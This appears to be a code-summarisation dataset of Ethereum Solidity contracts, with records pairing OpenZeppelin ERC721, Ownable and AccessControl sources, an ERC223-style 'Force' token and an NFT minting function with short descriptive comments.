address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
|
Skip the reserved block
|
function mintPublic(bool mode) public {
require(_mintedList[msg.sender] < MAX_PER_ADDRESS, "You have reached your minting limit.");
require(totalPublicSupply < MAX_PUBLIC, "There are no more NFTs for public minting.");
require(totalPublicSupply < temporaryPublicMax, "There are no more NFTs for public minting at this time.");
_mintedList[msg.sender] += 1;
uint256 tokenId = totalPublicSupply + 1;
if (tokenId >= STARTING_RESERVED_ID) {
tokenId += MAX_RESERVED;
}
_setDisplayMode(tokenId, mode);
totalPublicSupply += 1;
_safeMint(msg.sender, tokenId);
}
| 14,804,625 |
pragma solidity ^0.4.18;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/*
* ERC20Basic
* Simpler version of ERC20 interface
* see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
}
/*
* ERC20 interface
* see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC223Basic {
// active supply of tokens
function allowance(address _owner, address _spender) public constant returns (uint256);
function transferFrom(address _from, address _to, uint _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* Contract that is working with ERC223 tokens
*/
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
/**
* @title ControlCentreInterface
* @dev ControlCentreInterface is an interface for providing commonly used function
* signatures to the ControlCentre
*/
contract ControllerInterface {
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256);
function allowance(address _owner, address _spender) public constant returns (uint256);
function approve(address owner, address spender, uint256 value) public returns (bool);
function transfer(address owner, address to, uint value, bytes data) public returns (bool);
function transferFrom(address owner, address from, address to, uint256 amount, bytes data) public returns (bool);
function mint(address _to, uint256 _amount) public returns (bool);
}
contract Token is Ownable, ERC20 {
event Mint(address indexed to, uint256 amount);
event MintToggle(bool status);
// Constant Functions
function balanceOf(address _owner) public constant returns (uint256) {
return ControllerInterface(owner).balanceOf(_owner);
}
function totalSupply() public constant returns (uint256) {
return ControllerInterface(owner).totalSupply();
}
function allowance(address _owner, address _spender) public constant returns (uint256) {
return ControllerInterface(owner).allowance(_owner, _spender);
}
function mint(address _to, uint256 _amount) onlyOwner public returns (bool) {
bytes memory empty;
_checkDestination(address(this), _to, _amount, empty);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function mintToggle(bool status) onlyOwner public returns (bool) {
MintToggle(status);
return true;
}
// public functions
function approve(address _spender, uint256 _value) public returns (bool) {
ControllerInterface(owner).approve(msg.sender, _spender, _value);
Approval(msg.sender, _spender, _value);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
function transfer(address to, uint value, bytes data) public returns (bool) {
ControllerInterface(owner).transfer(msg.sender, to, value, data);
Transfer(msg.sender, to, value);
_checkDestination(msg.sender, to, value, data);
return true;
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
bytes memory empty;
return transferFrom(_from, _to, _value, empty);
}
function transferFrom(address _from, address _to, uint256 _amount, bytes _data) public returns (bool) {
ControllerInterface(owner).transferFrom(msg.sender, _from, _to, _amount, _data);
Transfer(_from, _to, _amount);
_checkDestination(_from, _to, _amount, _data);
return true;
}
// Internal Functions
function _checkDestination(address _from, address _to, uint256 _value, bytes _data) internal {
uint256 codeLength;
assembly {
codeLength := extcodesize(_to)
}
if(codeLength>0) {
ERC223ReceivingContract untrustedReceiver = ERC223ReceivingContract(_to);
// untrusted contract call
untrustedReceiver.tokenFallback(_from, _value, _data);
}
}
}
/**
Simple Token based on OpenZeppelin token contract
*/
contract Force is Token {
string public constant name = "Force";
string public constant symbol = "FORCE";
uint8 public constant decimals = 18;
}
|
Internal Functions untrusted contract call
|
function _checkDestination(address _from, address _to, uint256 _value, bytes _data) internal {
uint256 codeLength;
assembly {
codeLength := extcodesize(_to)
}
if(codeLength>0) {
ERC223ReceivingContract untrustedReceiver = ERC223ReceivingContract(_to);
untrustedReceiver.tokenFallback(_from, _value, _data);
}
}
| 6,343,499 |
./partial_match/42/0xf3841463b69E9395415b7540d721B2eD1DE2451f/sources/RequestBonusETH.sol
|
set our company rate in % that will be send to it as a fee
|
function setCompanyRate(address token, uint256 _rate) external onlyOwner returns(bool) {
require(_rate <= 10000);
companyRate[token] = _rate;
emit CompanyRate(token, _rate);
return true;
}
| 8,909,610 |
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/tokens/IERC20MintedBurnable.sol
pragma solidity >=0.4.21 <0.7.0;
interface IERC20MintedBurnable is IERC20 {
function mint(address to, uint256 amount) external;
function burn(uint256 amount) external;
function burnFrom(address account, uint256 amount) external;
}
// File: contracts/IDerivativeSpecification.sol
pragma solidity >=0.4.21 <0.7.0;
/// @title Derivative Specification interface
/// @notice Immutable collection of derivative attributes
/// @dev Created by the derivative's author and published to the DerivativeSpecificationRegistry
interface IDerivativeSpecification {
/// @notice Proof of a derivative specification
/// @dev Verifies that contract is a derivative specification
/// @return true if contract is a derivative specification
function isDerivativeSpecification() external pure returns(bool);
/// @notice Set of oracles that are relied upon to measure changes in the state of the world
/// between the start and the end of the Live period
/// @dev Should be resolved through OracleRegistry contract
/// @return oracle symbols
function oracleSymbols() external view returns (bytes32[] memory);
/// @notice Algorithm that, for the type of oracle used by the derivative,
/// finds the value closest to a given timestamp
/// @dev Should be resolved through OracleIteratorRegistry contract
/// @return oracle iterator symbols
function oracleIteratorSymbols() external view returns (bytes32[] memory);
/// @notice Type of collateral that users submit to mint the derivative
/// @dev Should be resolved through CollateralTokenRegistry contract
/// @return collateral token symbol
function collateralTokenSymbol() external view returns (bytes32);
/// @notice Mapping from the change in the underlying variable (as defined by the oracle)
/// and the initial collateral split to the final collateral split
/// @dev Should be resolved through CollateralSplitRegistry contract
/// @return collateral split symbol
function collateralSplitSymbol() external view returns (bytes32);
/// @notice Lifecycle parameter that define the length of the derivative's Minting period.
/// @dev Set in seconds
/// @return minting period value
function mintingPeriod() external view returns (uint);
/// @notice Lifecycle parameter that define the length of the derivative's Live period.
/// @dev Set in seconds
/// @return live period value
function livePeriod() external view returns (uint);
/// @notice Parameter that determines starting nominal value of primary asset
/// @dev Units of collateral theoretically swappable for 1 unit of primary asset
/// @return primary nominal value
function primaryNominalValue() external view returns (uint);
/// @notice Parameter that determines starting nominal value of complement asset
/// @dev Units of collateral theoretically swappable for 1 unit of complement asset
/// @return complement nominal value
function complementNominalValue() external view returns (uint);
/// @notice Minting fee rate due to the author of the derivative specification.
/// @dev Percentage fee multiplied by 10 ^ 12
/// @return author fee
function authorFee() external view returns (uint);
/// @notice Symbol of the derivative
/// @dev Should be resolved through DerivativeSpecificationRegistry contract
/// @return derivative specification symbol
function symbol() external view returns (string memory);
/// @notice Return optional long name of the derivative
/// @dev Isn't used directly in the protocol
/// @return long name
function name() external view returns (string memory);
/// @notice Optional URI to the derivative specs
/// @dev Isn't used directly in the protocol
/// @return URI to the derivative specs
function baseURI() external view returns (string memory);
/// @notice Derivative spec author
/// @dev Used to set and receive author's fee
/// @return address of the author
function author() external view returns (address);
}
// File: contracts/tokens/ITokenBuilder.sol
pragma solidity >=0.4.21 <0.7.0;
interface ITokenBuilder {
function isTokenBuilder() external pure returns(bool);
function buildTokens(IDerivativeSpecification derivative, uint settlement, address _collateralToken) external returns(IERC20MintedBurnable, IERC20MintedBurnable);
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
